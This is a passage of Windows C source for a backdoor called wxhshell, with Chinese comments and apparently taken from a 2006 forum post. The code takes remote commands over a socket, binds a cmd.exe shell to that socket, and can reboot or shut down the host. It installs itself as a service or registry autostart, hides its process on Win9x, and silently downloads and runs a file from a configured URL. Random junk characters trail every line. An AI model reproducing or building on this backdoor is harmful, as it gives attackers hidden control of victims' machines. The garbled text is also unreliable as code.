  case 'i': { mm$D1=h{|  
    if(Install()) #1Mk9sxo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G B!3` A%&  
    else b qB[ vPsI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k Fv\V   
    break; %u }|4BXoh  
    } _yjM_ALjo  
  // 卸载 ?>MD/l(l  
  case 'r': { &n<jpMB  
    if(Uninstall()) 3DK^S2\zBm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :w_F<2d0 0  
    else r0G#BPgdR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hgj#VY$B  
    break; wXZ-%,R -D  
    } h /QP=Zd  
  // 显示 wxhshell 所在路径 ;QQ7vo  
  case 'p': { HdUW(FZ  
    char svExeFile[MAX_PATH]; #6jwCEo=V  
    strcpy(svExeFile,"\n\r"); 1$VI\}  
      strcat(svExeFile,ExeFile); S1`0d9ds#  
        send(wsh,svExeFile,strlen(svExeFile),0); j2 ^T:q[  
    break; P i!r}m  
    } }.cmiC  
  // 重启 g <4M!gi  
  case 'b': { 25n (&NV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wky STc  
    if(Boot(REBOOT)) 8 ysK VF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &] F|U3  
    else { $ cK B+}  
    closesocket(wsh); i;zGw.;Q  
    ExitThread(0); 64']F1p0  
    } (+8xUc(w  
    break; rY?F6'}  
    } !b->u_  
  // 关机 0o$HC86w  
  case 'd': { j~S!!Z ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #K1BJ#KUt  
    if(Boot(SHUTDOWN)) u?3NBc$~A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .S'fM]_#  
    else { Ru^ ONw"  
    closesocket(wsh); FT/5 _1i  
    ExitThread(0); ObyuhAR  
    } B/D\gjb  
    break; n~ >h4=h  
    } nuO3UD3  
  // 获取shell hRa(<ZK  
  case 's': { "gvw0)  
    CmdShell(wsh); T E&Q6  
    closesocket(wsh); b({Nf,(a2  
    ExitThread(0); '<&EPUO  
    break; #}!>iFBcH  
  } Wbn[Q2h5  
  // 退出 f;Bfh3  
  case 'x': { Q_kT}6#(J=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;*-@OLT_K  
    CloseIt(wsh); \l]pe|0EW  
    break; <duBwkiG  
    } ]opW; |{e  
  // 离开 l!;_lH8W$  
  case 'q': { C9mzg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `  -[Bo  
    closesocket(wsh); bwSRJFqb  
    WSACleanup(); }(+=/$C"#  
    exit(1); RO%tuU,-  
    break; ,_Qe}qFU  
        } (K*/Vp  
  }  !u53 3  
  } rwL=R,  
GSGyF  
  // 提示信息 5 dfe@$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \[[TlB>  
} )l#%.Z9  
  } !dyxE'T2  
*K+jsVDY  
  return; :dY.D|j*  
} }fJ:wku  
DJViy  
// shell模块句柄 %tzN@  
int CmdShell(SOCKET sock) R=vbUA  
{ ~aJW"\{  
STARTUPINFO si; C#U< k0R  
ZeroMemory(&si,sizeof(si)); c<=`<!FS[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dThR)Z'=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rwc[:6;fn  
PROCESS_INFORMATION ProcessInfo; Q7~'![(a  
char cmdline[]="cmd"; oLrkOn/aY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AI1@-  
  return 0; });cX$  
} 7tpAZ<{  
J3/\<=Qh  
// 自身启动模式 _M8G3QOx  
int StartFromService(void) f >mhFy  
{ ^M`>YOU2+  
typedef struct 8hTR*e! +  
{ pU?{0xZH  
  DWORD ExitStatus; A Gv!c($  
  DWORD PebBaseAddress; |d,F-9iw  
  DWORD AffinityMask; &`9j)3^J.  
  DWORD BasePriority; K0tV'Ml#"  
  ULONG UniqueProcessId; $|4cJ#;^L  
  ULONG InheritedFromUniqueProcessId; U91 &|  
}   PROCESS_BASIC_INFORMATION; ;[(= kOI  
)Rjb/3*!  
PROCNTQSIP NtQueryInformationProcess; cC^W2\  
$ q%mu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^oS$>6|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yo>`h2C4  
z%OuI 8"'  
  HANDLE             hProcess; fuq( 2&^  
  PROCESS_BASIC_INFORMATION pbi; fv|]= e  
%lN2n,AK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sW }<zGYd  
  if(NULL == hInst ) return 0; "hL9f=w  
?q\FLb%"7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iJFr4o/R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >BBl 7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?#d6i$  
=v.{JV#  
  if (!NtQueryInformationProcess) return 0; OkLz^R?d  
Z;#%t.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1o8wy_eSs  
  if(!hProcess) return 0; Sa L"!uAk  
zJ5hvDmC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *'6s63)I2  
zG_p"Z7,  
  CloseHandle(hProcess); ^V[/(Lq  
>QXzMN}o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q8p=!K  
if(hProcess==NULL) return 0; 1!vPc93 $$  
[!EXMpq'  
HMODULE hMod; j.DHqHx  
char procName[255]; qpI]R  
unsigned long cbNeeded; zxkM'8JC  
{;*}WPYb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xOythvO  
>)Ioo$B  
  CloseHandle(hProcess); %`e`g ^  
JBz}|M D  
if(strstr(procName,"services")) return 1; // 以服务启动 .jA\f:u#  
pV7N byb4  
  return 0; // 注册表启动 X1oGp+&  
} 3V?817&6z  
6gnbkpYi  
// 主模块 [F+,YV%t  
int StartWxhshell(LPSTR lpCmdLine) Ql8bt77eI-  
{ L;S}s, 2x  
  SOCKET wsl; ?Nf 5w  
BOOL val=TRUE; /;Yy@oc  
  int port=0; 'f+NW &   
  struct sockaddr_in door; pLnB)z?  
!;v.>.lw  
  if(wscfg.ws_autoins) Install(); dQD$K|aUp  
IxOc':/jY  
port=atoi(lpCmdLine); h d2'AlB  
%?9Ok  
if(port<=0) port=wscfg.ws_port; m2xBS!fm  
H=p`T+  
  WSADATA data; uFG<UF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xzm@ v(  
d]SYP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oh~: ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _'!kuE,*1  
  door.sin_family = AF_INET; $shp(T,q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zXZir7NfM  
  door.sin_port = htons(port); Qs9OC9X1  
l +'F_a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XN;&qR^j  
closesocket(wsl); [&#/|zH'j:  
return 1; I4=Xb^Ux  
} X(Qu{HhI  
X(*!2uS  
  if(listen(wsl,2) == INVALID_SOCKET) { Elb aFbr  
closesocket(wsl); V'pqxjfd  
return 1; s^hR\iY  
} T%IK/"N|+  
  Wxhshell(wsl); ,SUT~oETP  
  WSACleanup(); |(%zb\#9  
)C~9E 5E  
return 0; s{}]D{bc  
*if`/N-q(m  
} <RXwM6G2  
j:,9%tg  
// 以NT服务方式启动 q7\Ovjs0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2C=Q8ayvX  
{ M 4yI`dr6  
DWORD   status = 0; = QO g 6  
  DWORD   specificError = 0xfffffff; vB0RKk}d5  
R2<s0l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WFTvOFj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bHE2,;o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P8Qyhc  
  serviceStatus.dwWin32ExitCode     = 0; ?-)I+EAnE  
  serviceStatus.dwServiceSpecificExitCode = 0; I/6)3 su%  
  serviceStatus.dwCheckPoint       = 0; nz]&a1"&  
  serviceStatus.dwWaitHint       = 0; pzZk\-0R  
O`[aU%4b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T{v>-xBRy  
  if (hServiceStatusHandle==0) return; 3uWkc3  
3SttHu0X  
status = GetLastError(); > L2HET  
  if (status!=NO_ERROR) 64>krmVIe  
{ GL$De,V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $sHP\{  
    serviceStatus.dwCheckPoint       = 0; yLE7>48  
    serviceStatus.dwWaitHint       = 0; w"Y` ]2  
    serviceStatus.dwWin32ExitCode     = status; , t5 '  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2_^aw[-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (V`Md\NL`  
    return; W,5Hx1z R  
  } m0n)dje  
F,BOgWwP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HBS\<}  
  serviceStatus.dwCheckPoint       = 0; TfYVw~p_%  
  serviceStatus.dwWaitHint       = 0; sUJ%x#u}Fk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~}EMk3  
} afBE{  
Mips.Bx  
// 处理NT服务事件,比如:启动、停止 EP'h@zdz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y$FW$Ka  
{ C?v[Z]t  
switch(fdwControl) klg25#t  
{ -i0(2*<  
case SERVICE_CONTROL_STOP: ^z1&8k"[^  
  serviceStatus.dwWin32ExitCode = 0; )a 9 ]US^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IN8>ZV`j)  
  serviceStatus.dwCheckPoint   = 0; ^k5ll=}  
  serviceStatus.dwWaitHint     = 0; &qp r*17T  
  { f=C,e/sw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QO;N9ZI  
  } {~!q`Dr3?q  
  return; :I -V_4b  
case SERVICE_CONTROL_PAUSE: {!6/x9>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  ]#7zk9  
  break; *.L81er5~  
case SERVICE_CONTROL_CONTINUE: qmO6,T-|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p' M%XBu  
  break; ?]D"k4  
case SERVICE_CONTROL_INTERROGATE: R\o<7g-|  
  break; | N0Z-|  
}; }ci#>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,'[<bP'%_  
} O3TQixE  
DXz} YIEC  
// 标准应用程序主函数 !vG'J\*xc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [2"<W! p  
{ X[f=h=|  
afYc\-"  
// 获取操作系统版本 ,%\o4Rc'o  
OsIsNt=GetOsVer(); D8 hr?:I9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N<QXmgqx  
(aD_zG=k5  
  // 从命令行安装 jqPkc28  
  if(strpbrk(lpCmdLine,"iI")) Install(); LpR3BP@At  
3p0LN'q]A  
  // 下载执行文件 k0T?-iM  
if(wscfg.ws_downexe) { LX^u_Iu   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s kg*  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Zi2jL?On  
} 'fW6 .0fXa  
],P;WPU  
if(!OsIsNt) { rETRTp0HT  
// 如果时win9x,隐藏进程并且设置为注册表启动 (V4 ~`i4V  
HideProc(); NH+(?TN  
StartWxhshell(lpCmdLine); =JJL[}a|  
} N^3N[lD{  
else _q~=~nub  
  if(StartFromService()) lT(oL|{#P  
  // 以服务方式启动 DZi!aJ  
  StartServiceCtrlDispatcher(DispatchTable); XLH0 ;+CL{  
else &L^+BQ`O?  
  // 普通方式启动 O BN2 ) j  
  StartWxhshell(lpCmdLine); ;<leKcvhQ&  
fMOU$0]$<  
return 0; 0:+WO%z  
}
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只看该作者 1 发表于: 2006-10-10
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